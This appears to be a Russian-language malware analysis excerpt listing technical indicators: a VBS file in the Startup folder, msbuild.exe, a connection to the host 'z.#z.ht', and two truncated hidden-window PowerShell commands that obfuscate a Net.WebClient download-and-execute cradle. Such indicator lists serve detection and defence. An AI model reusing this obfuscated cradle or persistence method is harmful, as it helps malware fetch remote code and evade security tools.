Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\<Имя файла>.vbs
- %WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe
- 'z.#z.ht':443
- DNS ASK z.#z.ht
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Invoke-Expression ((n`e`W`-Obj`E`c`T (('N'+'e'+'t'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'li'+'en'+'t'))).(('D'+'o'+'w...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Invoke-Expression ((n`e`W`-Obj`E`c`T (('N'+'e'+'t'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'li'+'en'+'t'))).(('D'+'o'+'w...